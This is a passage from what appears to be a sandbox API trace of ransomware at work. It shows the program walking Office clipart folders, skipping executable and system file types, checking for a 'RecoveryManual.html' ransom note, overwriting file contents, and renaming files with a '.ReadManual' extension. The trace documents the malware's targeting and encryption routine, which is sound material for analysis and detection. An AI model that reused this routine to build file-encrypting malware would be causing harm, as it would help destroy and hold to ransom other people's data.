lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.408] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20548) returned 1 [0270.408] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5044, lpName=0x0) returned 0x184 [0270.408] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.409] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.409] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.411] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.411] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5044) returned 0x2f0000 [0270.411] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.411] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39107997589) returned 1 [0270.411] CloseHandle (hObject=0x184) returned 1 [0270.411] SetSecurityInfo () returned 0x57 [0270.411] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.411] CloseHandle (hObject=0x194) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0270.412] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00057_.WMF" | out: lpString1="NA00057_.WMF") returned="NA00057_.WMF" [0270.412] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.412] StrStrIW (lpFirst="NA00057_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.412] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.412] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.412] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" [0270.412] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.ReadManual.5A595725" [0270.412] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.ReadManual.5A595725") returned 87 [0270.412] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39108090310) returned 1 [0270.412] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf")) returned 0x20 [0270.412] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.413] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10818) returned 1 [0270.413] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a42, lpName=0x0) returned 0x184 [0270.413] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.413] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.413] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.415] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.415] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a42) returned 0x2f0000 [0270.415] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.416] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39108431573) returned 1 [0270.416] CloseHandle (hObject=0x184) returned 1 [0270.416] SetSecurityInfo () returned 0x57 [0270.416] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.416] CloseHandle (hObject=0x194) returned 1 [0270.416] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0270.416] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00058_.WMF" | out: lpString1="NA00058_.WMF") returned="NA00058_.WMF" [0270.416] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.416] StrStrIW (lpFirst="NA00058_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.416] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.416] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.416] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" [0270.416] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.ReadManual.5A595725" [0270.417] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.ReadManual.5A595725") returned 87 [0270.417] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39108533589) returned 1 [0270.417] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf")) returned 0x20 [0270.417] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.417] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3754) returned 1 [0270.417] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeaa, lpName=0x0) returned 0x184 [0270.417] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.418] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.418] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.419] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.419] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeaa) returned 0x2f0000 [0270.420] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.420] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39108841141) returned 1 [0270.420] CloseHandle (hObject=0x184) returned 1 [0270.420] SetSecurityInfo () returned 0x57 [0270.420] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.420] CloseHandle (hObject=0x194) returned 1 [0270.420] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0270.420] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00068_.WMF" | out: lpString1="NA00068_.WMF") returned="NA00068_.WMF" [0270.420] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.420] StrStrIW (lpFirst="NA00068_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.420] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.420] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.420] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" [0270.421] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.ReadManual.5A595725" [0270.421] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.ReadManual.5A595725") returned 87 [0270.421] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39108937549) returned 1 [0270.421] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf")) returned 0x20 [0270.421] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.422] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4900) returned 1 [0270.422] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1324, lpName=0x0) returned 0x184 [0270.422] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.423] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.423] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.424] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.424] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1324) returned 0x2f0000 [0270.425] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.425] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39109339878) returned 1 [0270.425] CloseHandle (hObject=0x184) returned 1 [0270.425] SetSecurityInfo () returned 0x57 [0270.425] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.425] CloseHandle (hObject=0x194) returned 1 [0270.425] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0270.425] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00238_.WMF" | out: lpString1="NA00238_.WMF") returned="NA00238_.WMF" [0270.425] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.425] StrStrIW (lpFirst="NA00238_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.425] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.425] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.425] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" [0270.425] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.ReadManual.5A595725" [0270.426] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.ReadManual.5A595725") returned 87 [0270.426] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39109433631) returned 1 [0270.426] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf")) returned 0x20 [0270.426] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.426] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4996) returned 1 [0270.426] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1384, lpName=0x0) returned 0x184 [0270.426] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.427] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.427] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.428] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.429] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1384) returned 0x2f0000 [0270.429] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39109753334) returned 1 [0270.429] CloseHandle (hObject=0x184) returned 1 [0270.429] SetSecurityInfo () returned 0x57 [0270.429] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.429] CloseHandle (hObject=0x194) returned 1 [0270.429] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0270.429] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00330_.WMF" | out: lpString1="NA00330_.WMF") returned="NA00330_.WMF" [0270.429] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.429] StrStrIW (lpFirst="NA00330_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.429] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.429] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.430] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.430] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.430] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.430] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.430] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" [0270.430] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.ReadManual.5A595725" [0270.430] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.ReadManual.5A595725") returned 87 [0270.430] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39109851228) returned 1 [0270.430] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf")) returned 0x20 [0270.430] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.430] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2148) returned 1 [0270.430] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x864, lpName=0x0) returned 0x184 [0270.430] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.431] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.431] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.433] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.433] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x864) returned 0x2f0000 [0270.433] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.433] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39110225844) returned 1 